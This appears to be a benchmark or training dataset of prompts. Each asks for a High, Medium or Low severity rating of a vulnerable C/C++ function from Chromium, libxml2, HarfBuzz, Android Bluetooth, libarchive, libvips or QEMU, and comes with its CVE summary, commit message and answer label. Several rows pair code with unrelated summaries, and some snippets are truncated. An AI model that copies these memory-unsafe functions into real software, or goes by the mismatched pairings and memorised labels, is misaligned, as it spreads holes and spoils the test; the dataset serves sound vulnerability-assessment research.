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stringclasses 1
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stringlengths 306
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stringclasses 3
values | __index_level_0__
int64 165k
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|---|---|---|---|
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool CSPSourceList::matches(const KURL& url, ContentSecurityPolicy::RedirectStatus redirectStatus) const
{
if (m_allowStar)
return true;
KURL effectiveURL = m_policy->selfMatchesInnerURL() && SecurityOrigin::shouldUseInnerURL(url) ? SecurityOrigin::extractInnerURL(url) : url;
if (m_allowSelf && m_policy->urlMatchesSelf(effectiveURL))
return true;
for (size_t i = 0; i < m_list.size(); ++i) {
if (m_list[i].matches(effectiveURL, redirectStatus))
return true;
}
return false;
}
Vulnerability Type: Bypass
CWE ID: CWE-264
Summary: The CSPSourceList::matches function in WebKit/Source/core/frame/csp/CSPSourceList.cpp in the Content Security Policy (CSP) implementation in Google Chrome before 47.0.2526.73 accepts a blob:, data:, or filesystem: URL as a match for a * pattern, which allows remote attackers to bypass intended scheme restrictions in opportunistic circumstances by leveraging a policy that relies on this pattern.
Commit Message: Disallow CSP source * matching of data:, blob:, and filesystem: URLs
The CSP spec specifically excludes matching of data:, blob:, and
filesystem: URLs with the source '*' wildcard. This adds checks to make
sure that doesn't happen, along with tests.
BUG=534570
[email protected]
Review URL: https://codereview.chromium.org/1361763005
Cr-Commit-Position: refs/heads/master@{#350950} | Medium | 171,789 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool ResourceLoader::WillFollowRedirect(
const WebURL& new_url,
const WebURL& new_site_for_cookies,
const WebString& new_referrer,
WebReferrerPolicy new_referrer_policy,
const WebString& new_method,
const WebURLResponse& passed_redirect_response,
bool& report_raw_headers) {
DCHECK(!passed_redirect_response.IsNull());
if (is_cache_aware_loading_activated_) {
HandleError(
ResourceError::CacheMissError(resource_->LastResourceRequest().Url()));
return false;
}
const ResourceRequest& last_request = resource_->LastResourceRequest();
ResourceRequest new_request(new_url);
new_request.SetSiteForCookies(new_site_for_cookies);
new_request.SetDownloadToFile(last_request.DownloadToFile());
new_request.SetUseStreamOnResponse(last_request.UseStreamOnResponse());
new_request.SetRequestContext(last_request.GetRequestContext());
new_request.SetFrameType(last_request.GetFrameType());
new_request.SetServiceWorkerMode(
passed_redirect_response.WasFetchedViaServiceWorker()
? WebURLRequest::ServiceWorkerMode::kAll
: WebURLRequest::ServiceWorkerMode::kNone);
new_request.SetShouldResetAppCache(last_request.ShouldResetAppCache());
new_request.SetFetchRequestMode(last_request.GetFetchRequestMode());
new_request.SetFetchCredentialsMode(last_request.GetFetchCredentialsMode());
new_request.SetKeepalive(last_request.GetKeepalive());
String referrer =
new_referrer.IsEmpty() ? Referrer::NoReferrer() : String(new_referrer);
new_request.SetHTTPReferrer(
Referrer(referrer, static_cast<ReferrerPolicy>(new_referrer_policy)));
new_request.SetPriority(last_request.Priority());
new_request.SetHTTPMethod(new_method);
if (new_request.HttpMethod() == last_request.HttpMethod())
new_request.SetHTTPBody(last_request.HttpBody());
new_request.SetCheckForBrowserSideNavigation(
last_request.CheckForBrowserSideNavigation());
Resource::Type resource_type = resource_->GetType();
const ResourceRequest& initial_request = resource_->GetResourceRequest();
WebURLRequest::RequestContext request_context =
initial_request.GetRequestContext();
WebURLRequest::FrameType frame_type = initial_request.GetFrameType();
WebURLRequest::FetchRequestMode fetch_request_mode =
initial_request.GetFetchRequestMode();
WebURLRequest::FetchCredentialsMode fetch_credentials_mode =
initial_request.GetFetchCredentialsMode();
const ResourceLoaderOptions& options = resource_->Options();
const ResourceResponse& redirect_response(
passed_redirect_response.ToResourceResponse());
new_request.SetRedirectStatus(
ResourceRequest::RedirectStatus::kFollowedRedirect);
if (!IsManualRedirectFetchRequest(initial_request)) {
bool unused_preload = resource_->IsUnusedPreload();
SecurityViolationReportingPolicy reporting_policy =
unused_preload ? SecurityViolationReportingPolicy::kSuppressReporting
: SecurityViolationReportingPolicy::kReport;
Context().CheckCSPForRequest(
request_context, new_url, options, reporting_policy,
ResourceRequest::RedirectStatus::kFollowedRedirect);
ResourceRequestBlockedReason blocked_reason = Context().CanRequest(
resource_type, new_request, new_url, options, reporting_policy,
FetchParameters::kUseDefaultOriginRestrictionForType,
ResourceRequest::RedirectStatus::kFollowedRedirect);
if (blocked_reason != ResourceRequestBlockedReason::kNone) {
CancelForRedirectAccessCheckError(new_url, blocked_reason);
return false;
}
if (options.cors_handling_by_resource_fetcher ==
kEnableCORSHandlingByResourceFetcher &&
fetch_request_mode == WebURLRequest::kFetchRequestModeCORS) {
RefPtr<SecurityOrigin> source_origin = options.security_origin;
if (!source_origin.get())
source_origin = Context().GetSecurityOrigin();
WebSecurityOrigin source_web_origin(source_origin.get());
WrappedResourceRequest new_request_wrapper(new_request);
WebString cors_error_msg;
if (!WebCORS::HandleRedirect(
source_web_origin, new_request_wrapper, redirect_response.Url(),
redirect_response.HttpStatusCode(),
redirect_response.HttpHeaderFields(), fetch_credentials_mode,
resource_->MutableOptions(), cors_error_msg)) {
resource_->SetCORSStatus(CORSStatus::kFailed);
if (!unused_preload) {
Context().AddErrorConsoleMessage(cors_error_msg,
FetchContext::kJSSource);
}
CancelForRedirectAccessCheckError(new_url,
ResourceRequestBlockedReason::kOther);
return false;
}
source_origin = source_web_origin;
}
if (resource_type == Resource::kImage &&
fetcher_->ShouldDeferImageLoad(new_url)) {
CancelForRedirectAccessCheckError(new_url,
ResourceRequestBlockedReason::kOther);
return false;
}
}
bool cross_origin =
!SecurityOrigin::AreSameSchemeHostPort(redirect_response.Url(), new_url);
fetcher_->RecordResourceTimingOnRedirect(resource_.Get(), redirect_response,
cross_origin);
if (options.cors_handling_by_resource_fetcher ==
kEnableCORSHandlingByResourceFetcher &&
fetch_request_mode == WebURLRequest::kFetchRequestModeCORS) {
bool allow_stored_credentials = false;
switch (fetch_credentials_mode) {
case WebURLRequest::kFetchCredentialsModeOmit:
break;
case WebURLRequest::kFetchCredentialsModeSameOrigin:
allow_stored_credentials = !options.cors_flag;
break;
case WebURLRequest::kFetchCredentialsModeInclude:
case WebURLRequest::kFetchCredentialsModePassword:
allow_stored_credentials = true;
break;
}
new_request.SetAllowStoredCredentials(allow_stored_credentials);
}
Context().PrepareRequest(new_request,
FetchContext::RedirectType::kForRedirect);
Context().DispatchWillSendRequest(resource_->Identifier(), new_request,
redirect_response, options.initiator_info);
DCHECK(KURL(new_site_for_cookies) == new_request.SiteForCookies());
DCHECK_EQ(new_request.GetRequestContext(), request_context);
DCHECK_EQ(new_request.GetFrameType(), frame_type);
DCHECK_EQ(new_request.GetFetchRequestMode(), fetch_request_mode);
DCHECK_EQ(new_request.GetFetchCredentialsMode(), fetch_credentials_mode);
if (new_request.Url() != KURL(new_url)) {
CancelForRedirectAccessCheckError(new_request.Url(),
ResourceRequestBlockedReason::kOther);
return false;
}
if (!resource_->WillFollowRedirect(new_request, redirect_response)) {
CancelForRedirectAccessCheckError(new_request.Url(),
ResourceRequestBlockedReason::kOther);
return false;
}
report_raw_headers = new_request.ReportRawHeaders();
return true;
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: WebRTC in Google Chrome prior to 56.0.2924.76 for Linux, Windows and Mac, and 56.0.2924.87 for Android, failed to perform proper bounds checking, which allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Commit Message: DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <[email protected]>
Reviewed-by: Dmitry Gozman <[email protected]>
Commit-Queue: Andrey Lushnikov <[email protected]>
Cr-Commit-Position: refs/heads/master@{#507936} | Medium | 172,480 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void btif_av_event_free_data(btif_sm_event_t event, void* p_data) {
switch (event) {
case BTA_AV_META_MSG_EVT: {
tBTA_AV* av = (tBTA_AV*)p_data;
osi_free_and_reset((void**)&av->meta_msg.p_data);
if (av->meta_msg.p_msg) {
if (av->meta_msg.p_msg->hdr.opcode == AVRC_OP_VENDOR) {
osi_free(av->meta_msg.p_msg->vendor.p_vendor_data);
}
osi_free_and_reset((void**)&av->meta_msg.p_msg);
}
} break;
default:
break;
}
}
Vulnerability Type:
CWE ID: CWE-416
Summary: In avrc_pars_browsing_cmd of avrc_pars_tg.cc, there is a possible use-after-free due to improper locking. This could lead to remote escalation of privilege in the Bluetooth service with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android-8.0 Android-8.1 Android ID: A-109699112
Commit Message: DO NOT MERGE AVRC: Copy browse.p_browse_data in btif_av_event_deep_copy
p_msg_src->browse.p_browse_data is not copied, but used after the
original pointer is freed
Bug: 109699112
Test: manual
Change-Id: I1d014eb9a8911da6913173a9b11218bf1c89e16e
(cherry picked from commit 1d9a58768e6573899c7e80c2b3f52e22f2d8f58b)
| High | 174,101 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void CreateTwoTabs(bool focus_tab_strip,
LifecycleUnit** first_lifecycle_unit,
LifecycleUnit** second_lifecycle_unit) {
if (focus_tab_strip)
source_->SetFocusedTabStripModelForTesting(tab_strip_model_.get());
task_runner_->FastForwardBy(kShortDelay);
auto time_before_first_tab = NowTicks();
EXPECT_CALL(source_observer_, OnLifecycleUnitCreated(testing::_))
.WillOnce(testing::Invoke([&](LifecycleUnit* lifecycle_unit) {
*first_lifecycle_unit = lifecycle_unit;
if (focus_tab_strip) {
EXPECT_TRUE(IsFocused(*first_lifecycle_unit));
} else {
EXPECT_EQ(time_before_first_tab,
(*first_lifecycle_unit)->GetLastFocusedTime());
}
}));
std::unique_ptr<content::WebContents> first_web_contents =
CreateAndNavigateWebContents();
content::WebContents* raw_first_web_contents = first_web_contents.get();
tab_strip_model_->AppendWebContents(std::move(first_web_contents), true);
testing::Mock::VerifyAndClear(&source_observer_);
EXPECT_TRUE(source_->GetTabLifecycleUnitExternal(raw_first_web_contents));
task_runner_->FastForwardBy(kShortDelay);
auto time_before_second_tab = NowTicks();
EXPECT_CALL(source_observer_, OnLifecycleUnitCreated(testing::_))
.WillOnce(testing::Invoke([&](LifecycleUnit* lifecycle_unit) {
*second_lifecycle_unit = lifecycle_unit;
if (focus_tab_strip) {
EXPECT_EQ(time_before_second_tab,
(*first_lifecycle_unit)->GetLastFocusedTime());
EXPECT_TRUE(IsFocused(*second_lifecycle_unit));
} else {
EXPECT_EQ(time_before_first_tab,
(*first_lifecycle_unit)->GetLastFocusedTime());
EXPECT_EQ(time_before_second_tab,
(*second_lifecycle_unit)->GetLastFocusedTime());
}
}));
std::unique_ptr<content::WebContents> second_web_contents =
CreateAndNavigateWebContents();
content::WebContents* raw_second_web_contents = second_web_contents.get();
tab_strip_model_->AppendWebContents(std::move(second_web_contents), true);
testing::Mock::VerifyAndClear(&source_observer_);
EXPECT_TRUE(source_->GetTabLifecycleUnitExternal(raw_second_web_contents));
raw_first_web_contents->WasHidden();
}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple use-after-free vulnerabilities in the formfiller implementation in PDFium, as used in Google Chrome before 48.0.2564.82, allow remote attackers to cause a denial of service or possibly have unspecified other impact via a crafted PDF document, related to improper tracking of the destruction of (1) IPWL_FocusHandler and (2) IPWL_Provider objects.
Commit Message: Connect the LocalDB to TabManager.
Bug: 773382
Change-Id: Iec8fe5226ee175105d51f300f30b4865478ac099
Reviewed-on: https://chromium-review.googlesource.com/1118611
Commit-Queue: Sébastien Marchand <[email protected]>
Reviewed-by: François Doray <[email protected]>
Cr-Commit-Position: refs/heads/master@{#572871} | Medium | 172,222 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: xmlParseAttValueComplex(xmlParserCtxtPtr ctxt, int *attlen, int normalize) {
xmlChar limit = 0;
xmlChar *buf = NULL;
xmlChar *rep = NULL;
int len = 0;
int buf_size = 0;
int c, l, in_space = 0;
xmlChar *current = NULL;
xmlEntityPtr ent;
if (NXT(0) == '"') {
ctxt->instate = XML_PARSER_ATTRIBUTE_VALUE;
limit = '"';
NEXT;
} else if (NXT(0) == '\'') {
limit = '\'';
ctxt->instate = XML_PARSER_ATTRIBUTE_VALUE;
NEXT;
} else {
xmlFatalErr(ctxt, XML_ERR_ATTRIBUTE_NOT_STARTED, NULL);
return(NULL);
}
/*
* allocate a translation buffer.
*/
buf_size = XML_PARSER_BUFFER_SIZE;
buf = (xmlChar *) xmlMallocAtomic(buf_size * sizeof(xmlChar));
if (buf == NULL) goto mem_error;
/*
* OK loop until we reach one of the ending char or a size limit.
*/
c = CUR_CHAR(l);
while ((NXT(0) != limit) && /* checked */
(IS_CHAR(c)) && (c != '<')) {
if (c == 0) break;
if (c == '&') {
in_space = 0;
if (NXT(1) == '#') {
int val = xmlParseCharRef(ctxt);
if (val == '&') {
if (ctxt->replaceEntities) {
if (len > buf_size - 10) {
growBuffer(buf, 10);
}
buf[len++] = '&';
} else {
/*
* The reparsing will be done in xmlStringGetNodeList()
* called by the attribute() function in SAX.c
*/
if (len > buf_size - 10) {
growBuffer(buf, 10);
}
buf[len++] = '&';
buf[len++] = '#';
buf[len++] = '3';
buf[len++] = '8';
buf[len++] = ';';
}
} else if (val != 0) {
if (len > buf_size - 10) {
growBuffer(buf, 10);
}
len += xmlCopyChar(0, &buf[len], val);
}
} else {
ent = xmlParseEntityRef(ctxt);
ctxt->nbentities++;
if (ent != NULL)
ctxt->nbentities += ent->owner;
if ((ent != NULL) &&
(ent->etype == XML_INTERNAL_PREDEFINED_ENTITY)) {
if (len > buf_size - 10) {
growBuffer(buf, 10);
}
if ((ctxt->replaceEntities == 0) &&
(ent->content[0] == '&')) {
buf[len++] = '&';
buf[len++] = '#';
buf[len++] = '3';
buf[len++] = '8';
buf[len++] = ';';
} else {
buf[len++] = ent->content[0];
}
} else if ((ent != NULL) &&
(ctxt->replaceEntities != 0)) {
if (ent->etype != XML_INTERNAL_PREDEFINED_ENTITY) {
rep = xmlStringDecodeEntities(ctxt, ent->content,
XML_SUBSTITUTE_REF,
0, 0, 0);
if (rep != NULL) {
current = rep;
while (*current != 0) { /* non input consuming */
if ((*current == 0xD) || (*current == 0xA) ||
(*current == 0x9)) {
buf[len++] = 0x20;
current++;
} else
buf[len++] = *current++;
if (len > buf_size - 10) {
growBuffer(buf, 10);
}
}
xmlFree(rep);
rep = NULL;
}
} else {
if (len > buf_size - 10) {
growBuffer(buf, 10);
}
if (ent->content != NULL)
buf[len++] = ent->content[0];
}
} else if (ent != NULL) {
int i = xmlStrlen(ent->name);
const xmlChar *cur = ent->name;
/*
* This may look absurd but is needed to detect
* entities problems
*/
if ((ent->etype != XML_INTERNAL_PREDEFINED_ENTITY) &&
(ent->content != NULL)) {
rep = xmlStringDecodeEntities(ctxt, ent->content,
XML_SUBSTITUTE_REF, 0, 0, 0);
if (rep != NULL) {
xmlFree(rep);
rep = NULL;
}
}
/*
* Just output the reference
*/
buf[len++] = '&';
while (len > buf_size - i - 10) {
growBuffer(buf, i + 10);
}
for (;i > 0;i--)
buf[len++] = *cur++;
buf[len++] = ';';
}
}
} else {
if ((c == 0x20) || (c == 0xD) || (c == 0xA) || (c == 0x9)) {
if ((len != 0) || (!normalize)) {
if ((!normalize) || (!in_space)) {
COPY_BUF(l,buf,len,0x20);
while (len > buf_size - 10) {
growBuffer(buf, 10);
}
}
in_space = 1;
}
} else {
in_space = 0;
COPY_BUF(l,buf,len,c);
if (len > buf_size - 10) {
growBuffer(buf, 10);
}
}
NEXTL(l);
}
GROW;
c = CUR_CHAR(l);
}
if ((in_space) && (normalize)) {
while ((len > 0) && (buf[len - 1] == 0x20)) len--;
}
buf[len] = 0;
if (RAW == '<') {
xmlFatalErr(ctxt, XML_ERR_LT_IN_ATTRIBUTE, NULL);
} else if (RAW != limit) {
if ((c != 0) && (!IS_CHAR(c))) {
xmlFatalErrMsg(ctxt, XML_ERR_INVALID_CHAR,
"invalid character in attribute value\n");
} else {
xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED,
"AttValue: ' expected\n");
}
} else
NEXT;
if (attlen != NULL) *attlen = len;
return(buf);
mem_error:
xmlErrMemory(ctxt, NULL);
if (buf != NULL)
xmlFree(buf);
if (rep != NULL)
xmlFree(rep);
return(NULL);
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: parser.c in libxml2 before 2.9.0, as used in Google Chrome before 28.0.1500.71 and other products, allows remote attackers to cause a denial of service (out-of-bounds read) via a document that ends abruptly, related to the lack of certain checks for the XML_PARSER_EOF state.
Commit Message: libxml: XML_PARSER_EOF checks from upstream
BUG=229019
TBR=cpu
Review URL: https://chromiumcodereview.appspot.com/14053009
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@196804 0039d316-1c4b-4281-b951-d872f2087c98 | Medium | 171,270 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static HB_Error Lookup_MarkMarkPos( GPOS_Instance* gpi,
HB_GPOS_SubTable* st,
HB_Buffer buffer,
HB_UShort flags,
HB_UShort context_length,
int nesting_level )
{
HB_UShort i, j, mark1_index, mark2_index, property, class;
HB_Fixed x_mark1_value, y_mark1_value,
x_mark2_value, y_mark2_value;
HB_Error error;
HB_GPOSHeader* gpos = gpi->gpos;
HB_MarkMarkPos* mmp = &st->markmark;
HB_MarkArray* ma1;
HB_Mark2Array* ma2;
HB_Mark2Record* m2r;
HB_Anchor* mark1_anchor;
HB_Anchor* mark2_anchor;
HB_Position o;
HB_UNUSED(nesting_level);
if ( context_length != 0xFFFF && context_length < 1 )
return HB_Err_Not_Covered;
if ( flags & HB_LOOKUP_FLAG_IGNORE_MARKS )
return HB_Err_Not_Covered;
if ( CHECK_Property( gpos->gdef, IN_CURITEM(),
flags, &property ) )
return error;
error = _HB_OPEN_Coverage_Index( &mmp->Mark1Coverage, IN_CURGLYPH(),
&mark1_index );
if ( error )
return error;
/* now we search backwards for a suitable mark glyph until a non-mark
glyph */
if ( buffer->in_pos == 0 )
return HB_Err_Not_Covered;
i = 1;
j = buffer->in_pos - 1;
while ( i <= buffer->in_pos )
{
error = HB_GDEF_Get_Glyph_Property( gpos->gdef, IN_GLYPH( j ),
&property );
if ( error )
return error;
if ( !( property == HB_GDEF_MARK || property & HB_LOOKUP_FLAG_IGNORE_SPECIAL_MARKS ) )
return HB_Err_Not_Covered;
if ( flags & HB_LOOKUP_FLAG_IGNORE_SPECIAL_MARKS )
{
if ( property == (flags & 0xFF00) )
break;
}
else
break;
i++;
j--;
}
error = _HB_OPEN_Coverage_Index( &mmp->Mark2Coverage, IN_GLYPH( j ),
&mark2_index );
if ( error )
if ( mark1_index >= ma1->MarkCount )
return ERR(HB_Err_Invalid_SubTable);
class = ma1->MarkRecord[mark1_index].Class;
mark1_anchor = &ma1->MarkRecord[mark1_index].MarkAnchor;
if ( class >= mmp->ClassCount )
return ERR(HB_Err_Invalid_SubTable);
ma2 = &mmp->Mark2Array;
if ( mark2_index >= ma2->Mark2Count )
return ERR(HB_Err_Invalid_SubTable);
m2r = &ma2->Mark2Record[mark2_index];
mark2_anchor = &m2r->Mark2Anchor[class];
error = Get_Anchor( gpi, mark1_anchor, IN_CURGLYPH(),
&x_mark1_value, &y_mark1_value );
if ( error )
return error;
error = Get_Anchor( gpi, mark2_anchor, IN_GLYPH( j ),
&x_mark2_value, &y_mark2_value );
if ( error )
return error;
/* anchor points are not cumulative */
o = POSITION( buffer->in_pos );
o->x_pos = x_mark2_value - x_mark1_value;
o->y_pos = y_mark2_value - y_mark1_value;
o->x_advance = 0;
o->y_advance = 0;
o->back = 1;
(buffer->in_pos)++;
return HB_Err_Ok;
}
Vulnerability Type: DoS Exec Code Overflow
CWE ID: CWE-119
Summary: Heap-based buffer overflow in the Lookup_MarkMarkPos function in the HarfBuzz module (harfbuzz-gpos.c), as used by Qt before 4.7.4 and Pango, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted font file.
Commit Message: | High | 165,246 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void LockScreenMediaControlsView::ButtonPressed(views::Button* sender,
const ui::Event& event) {
if (sender == close_button_) {
Dismiss();
return;
}
if (!base::Contains(enabled_actions_,
media_message_center::GetActionFromButtonTag(*sender)) ||
!media_session_id_.has_value()) {
return;
}
media_session::PerformMediaSessionAction(
media_message_center::GetActionFromButtonTag(*sender),
media_controller_remote_);
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: A timing attack in SVG rendering in Google Chrome prior to 60.0.3112.78 for Linux, Windows, and Mac allowed a remote attacker to extract pixel values from a cross-origin page being iframe'd via a crafted HTML page.
Commit Message: [Lock Screen Media Controls] Tweak UI based on new mocks
This CL rearranges the different components of the CrOS lock screen
media controls based on the newest mocks. This involves resizing most
of the child views and their spacings. The artwork was also resized
and re-positioned. Additionally, the close button was moved from the
main view to the header row child view.
Artist and title data about the current session will eventually be
placed to the right of the artwork, but right now this space is empty.
See the bug for before and after pictures.
Bug: 991647
Change-Id: I7b97f31982ccf2912bd2564d5241bfd849d21d92
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1746554
Reviewed-by: Xiyuan Xia <[email protected]>
Reviewed-by: Becca Hughes <[email protected]>
Commit-Queue: Mia Bergeron <[email protected]>
Cr-Commit-Position: refs/heads/master@{#686253} | Low | 172,337 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: atol8(const char *p, size_t char_cnt)
{
int64_t l;
int digit;
l = 0;
while (char_cnt-- > 0) {
if (*p >= '0' && *p <= '7')
digit = *p - '0';
else
break;
p++;
l <<= 3;
l |= digit;
}
return (l);
}
Vulnerability Type: DoS
CWE ID: CWE-125
Summary: libarchive 3.3.2 allows remote attackers to cause a denial of service (xml_data heap-based buffer over-read and application crash) via a crafted xar archive, related to the mishandling of empty strings in the atol8 function in archive_read_support_format_xar.c.
Commit Message: Do something sensible for empty strings to make fuzzers happy. | Medium | 167,768 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void WebRunnerBrowserMainParts::PreMainMessageLoopRun() {
DCHECK(!screen_);
auto platform_screen = ui::OzonePlatform::GetInstance()->CreateScreen();
if (platform_screen) {
screen_ = std::make_unique<aura::ScreenOzone>(std::move(platform_screen));
} else {
screen_ = std::make_unique<WebRunnerScreen>();
}
display::Screen::SetScreenInstance(screen_.get());
DCHECK(!browser_context_);
browser_context_ =
std::make_unique<WebRunnerBrowserContext>(GetWebContextDataDir());
fidl::InterfaceRequest<chromium::web::Context> context_request(
std::move(context_channel_));
context_impl_ = std::make_unique<ContextImpl>(browser_context_.get());
context_binding_ = std::make_unique<fidl::Binding<chromium::web::Context>>(
context_impl_.get(), std::move(context_request));
context_binding_->set_error_handler(
[this]() { std::move(quit_closure_).Run(); });
}
Vulnerability Type: Bypass
CWE ID: CWE-264
Summary: The PendingScript::notifyFinished function in WebKit/Source/core/dom/PendingScript.cpp in Google Chrome before 49.0.2623.75 relies on memory-cache information about integrity-check occurrences instead of integrity-check successes, which allows remote attackers to bypass the Subresource Integrity (aka SRI) protection mechanism by triggering two loads of the same resource.
Commit Message: [fuchsia] Implement browser tests for WebRunner Context service.
Tests may interact with the WebRunner FIDL services and the underlying
browser objects for end to end testing of service and browser
functionality.
* Add a browser test launcher main() for WebRunner.
* Add some simple navigation tests.
* Wire up GoBack()/GoForward() FIDL calls.
* Add embedded test server resources and initialization logic.
* Add missing deletion & notification calls to BrowserContext dtor.
* Use FIDL events for navigation state changes.
* Bug fixes:
** Move BrowserContext and Screen deletion to PostMainMessageLoopRun(),
so that they may use the MessageLoop during teardown.
** Fix Frame dtor to allow for null WindowTreeHosts (headless case)
** Fix std::move logic in Frame ctor which lead to no WebContents
observer being registered.
Bug: 871594
Change-Id: I36bcbd2436d534d366c6be4eeb54b9f9feadd1ac
Reviewed-on: https://chromium-review.googlesource.com/1164539
Commit-Queue: Kevin Marshall <[email protected]>
Reviewed-by: Wez <[email protected]>
Reviewed-by: Fabrice de Gans-Riberi <[email protected]>
Reviewed-by: Scott Violet <[email protected]>
Cr-Commit-Position: refs/heads/master@{#584155} | High | 172,157 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: PluginChannel::~PluginChannel() {
if (renderer_handle_)
base::CloseProcessHandle(renderer_handle_);
MessageLoop::current()->PostDelayedTask(
FROM_HERE,
base::Bind(&PluginReleaseCallback),
base::TimeDelta::FromMinutes(kPluginReleaseTimeMinutes));
}
Vulnerability Type: DoS
CWE ID:
Summary: Google Chrome before 20.0.1132.43 on Windows does not properly isolate sandboxed processes, which might allow remote attackers to cause a denial of service (process interference) via unspecified vectors.
Commit Message: Convert plugin and GPU process to brokered handle duplication.
BUG=119250
Review URL: https://chromiumcodereview.appspot.com/9958034
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@132303 0039d316-1c4b-4281-b951-d872f2087c98 | High | 170,951 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: vips_tracked_malloc( size_t size )
{
void *buf;
vips_tracked_init();
/* Need an extra sizeof(size_t) bytes to track
* size of this block. Ask for an extra 16 to make sure we don't break
* alignment rules.
*/
size += 16;
if( !(buf = g_try_malloc( size )) ) {
#ifdef DEBUG
g_assert_not_reached();
#endif /*DEBUG*/
vips_error( "vips_tracked",
_( "out of memory --- size == %dMB" ),
(int) (size / (1024.0 * 1024.0)) );
g_warning( _( "out of memory --- size == %dMB" ),
(int) (size / (1024.0 * 1024.0)) );
return( NULL );
}
g_mutex_lock( vips_tracked_mutex );
*((size_t *)buf) = size;
buf = (void *) ((char *)buf + 16);
vips_tracked_mem += size;
if( vips_tracked_mem > vips_tracked_mem_highwater )
vips_tracked_mem_highwater = vips_tracked_mem;
vips_tracked_allocs += 1;
#ifdef DEBUG_VERBOSE
printf( "vips_tracked_malloc: %p, %zd bytes\n", buf, size );
#endif /*DEBUG_VERBOSE*/
g_mutex_unlock( vips_tracked_mutex );
VIPS_GATE_MALLOC( size );
return( buf );
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: libvips before 8.7.4 generates output images from uninitialized memory locations when processing corrupted input image data because iofuncs/memory.c does not zero out allocated memory. This can result in leaking raw process memory contents through the output image.
Commit Message: zero memory on malloc
to prevent write of uninit memory under some error conditions
thanks Balint | Medium | 169,740 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: uint64_t esp_reg_read(ESPState *s, uint32_t saddr)
{
uint32_t old_val;
trace_esp_mem_readb(saddr, s->rregs[saddr]);
switch (saddr) {
case ESP_FIFO:
if (s->ti_size > 0) {
s->ti_size--;
if ((s->rregs[ESP_RSTAT] & STAT_PIO_MASK) == 0) {
/* Data out. */
qemu_log_mask(LOG_UNIMP,
"esp: PIO data read not implemented\n");
s->rregs[ESP_FIFO] = 0;
} else {
s->rregs[ESP_FIFO] = s->ti_buf[s->ti_rptr++];
}
esp_raise_irq(s);
}
if (s->ti_size == 0) {
s->ti_rptr = 0;
s->ti_wptr = 0;
}
s->ti_wptr = 0;
}
break;
case ESP_RINTR:
/* Clear sequence step, interrupt register and all status bits
except TC */
old_val = s->rregs[ESP_RINTR];
s->rregs[ESP_RINTR] = 0;
s->rregs[ESP_RSTAT] &= ~STAT_TC;
s->rregs[ESP_RSEQ] = SEQ_CD;
esp_lower_irq(s);
return old_val;
case ESP_TCHI:
/* Return the unique id if the value has never been written */
if (!s->tchi_written) {
return s->chip_id;
}
default:
break;
}
Vulnerability Type: DoS Exec Code
CWE ID: CWE-20
Summary: The (1) esp_reg_read and (2) esp_reg_write functions in hw/scsi/esp.c in QEMU allow local guest OS administrators to cause a denial of service (QEMU process crash) or execute arbitrary code on the QEMU host via vectors related to the information transfer buffer.
Commit Message: | Medium | 165,012 |
